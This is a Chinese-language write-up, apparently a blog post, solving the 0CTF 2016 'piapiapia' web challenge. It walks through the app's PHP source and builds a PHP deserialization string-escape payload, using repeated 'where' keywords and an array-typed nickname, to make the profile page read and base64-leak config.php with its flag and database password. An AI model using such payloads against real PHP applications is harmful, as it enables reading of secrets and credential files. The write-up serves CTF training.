[0CTF 2016]piapiapia

打开环境,是个登陆页面:

 一开始以为是SQL注入,结果尝试了很久都没成功,在源码中也没发现,那就用dirsearch扫描一下,得到一个www.zip,里面有几个文件:

 register.php:

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) //username和password的长度都要大于3小于16
			die('Invalid password');
		if(!$user->is_exists($username)) {//is_exists和register函数都是class.php中的内置函数
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

是注册页面,对应的就是这个页面:

        

再看看update.php:

<?php
	require_once('class.php');//包含class.php
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {//$_FILES是经由 HTTP POST 文件上传而提交至脚本的变量。

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))//电话长度为11
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))//邮箱地址只能为数字,字母和@
			die('Invalid email');
		
		if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度小于10
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)//图片尺寸要在5到100
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name']
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));//update_profile函数也是class.php中的自定义函数,其中一个参数为变量$profile序列化结果。
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

就是完善信息的页面,对应页面:

再看profile.php:

<?php
	require_once('class.php');//包含class.php
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);//show_profile函数也是class.php中的函数
	if($profile  == null) {
		header('Location: update.php');//信息为空就重定向到update.php
	}
	else {
		$profile = unserialize($profile);将变量$profile反序列化
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));//看到file_get_contents函数就像到用它读取源码。
?>

包含flag但无法访问的config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

最后是class.php,也是最长的:

<?php
require('config.php');//包含config.php

class user extends mysql{//创建函数mysql的子类user
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);//调用父类mysql中的filter函数

		$where = "username = '$username'";
		return parent::select($this->table, $where);//调用父类mysql中的select函数
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);//调用父类mysql中的filter函数

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);//mysql_query() 函数执行一条 MySQL 查询
		return mysql_fetch_object($result);//PHP 操作 MySQL 的函数 mysql_fetch_object() 用于从结果集中取得一行作为对象,成功返回一个对象,否则返回 FALSE 
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);//update函数的作用则是将它存放到了mysql数据库当中
	}

	public function filter($string) {//filter函数的作用是将update_profile函数的参数用正则再过滤了一遍
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);//将传入的值中的"\"和"\\"替换为"_"

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);//将传入的值中的'select', 'insert', 'update', 'delete', 'where'替换为hacker,其中只有where为5个字符,其余都和hacker一样6个字符。
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();//读取名为PHPSESSID(如果没有改变默认值)的cookie值,若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)。
$user = new user();//实例化user
$user->connect($config);
?>

里面出现了extends和parent::,什么意思呢?

这就涉及父类和子类,什么是父类和子类呢?下面是网上的解释:

        父类和子类,就例如:老子和儿子,有着父子关系。而这里指的父子关系,其实也就是一种包含关系。打个比方,在我们现实生活中,学生Student是一个很大的概念,而U_Student大学生是属于学生中的一种,这里的学生即为父类,大学生即为子类。

父类和子类区别在哪?
        学生和大学生都会有学习Study这个方法,但是大学生还会有自己特有的Study方法,两者还是有一定区别的,大学生的学习相较于其他学生来说,是更自由的。假如现在已经有一个学生(Student)类,然后我还要写一个大学生(U_Student)类,然后大学生UStudent类里有很多方法和Student里的方法都相同,但是还是有一小部分不同,怎样解决呢?难道还要重新写一个大学生类,并且重复敲一遍和学生类中一样的代码吗?那样浪费了时间和精力,并且浪费了存储空间,是很不划算的。所以,就有了“继承”。
子类继承父类,就是子类能引用父类中的某些东西。继承的关键字是extends

例如:
public class Student(){}//父类
public class U_Student extends Student(){}//子类继承了父类
当子类和父类用一个同名方法,但是子类的实现却和父类不同,用到"方法重写"。
重写是指方法定义相同,但是实现不同,存在于父子类之间。
例如:
 

//父类
public class Student(){
//学习方法
        public void study(){
        System.out.println("我通过听老师讲课学习");
        }
}

//子类
public class UStudent extends Student(){
        public void study(){
        System.out.println("我通过自习去学习");
        }
}

被继承的方法和属性可以通过用同样的名字重新声明被覆盖。但是如果父类定义方法时使用了 final,则该方法不可被覆盖。可以通过 parent:: 来访问被覆盖的方法或属性。

整个逻辑就是:register->login->update->profile,而class.php中是定义了一些要用到的函数

我们要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸。将$profile[''photo] = "config.php",这样config.php的内容就能base64出来,但跟进发现其实$profile['photo']是修改不了的。

之所以会想到字符串逃逸,是因为保存序列化结果之前,还会再次过滤:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

经过filter函数替换时如果将where替换为hacker时会产生长度变化,多出来的长度就能让字符逃逸,就是说where在被正则替换后,其本身的长度会加1,如果我们构造34个where,那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉,在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。

如果不懂字符串逃逸的可以去看看这篇:浅析php反序列化字符串逃逸_Lemon's blog-CSDN博客

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name']
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

这个$profile变量正常传入值后,序列化得到:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

然后我们将config.php从nickname后面塞入";s:5:"photo";s:10:"config.php";}

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

但是nickname存在长度限制:

if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度小于10
			die('Invalid nickname');

所以这样直接是不行的,我们要先解决这个长度问题,我们知道如果传递数组进去,那么preg_match会返回flase,就能绕过长度限制。

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

在这里插入图片描述

 接着修改nickname的值:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

细节的老哥可能就发现了";}s:5:"photo";s:10:"config.php";}它比原本预期的答案前面多了一个},因为将nickname改为数组时,它在序列化时不会像字符一样闭合,所以要加多一个"}"

替换后:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

这样一来,s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}红色的部分就都作为nickname的值存在,蓝色部分因为s只有204个字符就没有意义了,逃逸成功。

所以最后nickname传的值为:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

验证一下:

 

 接着注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:

将图片的base64:

 PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezE4YTU5MThmLTI5MDktNDZkYy1hYjRkLTNmZWMxMjQ2NWE2OX0nOwo/Pgo=

 解码得:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{18a5918f-2909-46dc-ab4d-3fec12465a69}';
?>

得到答案。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值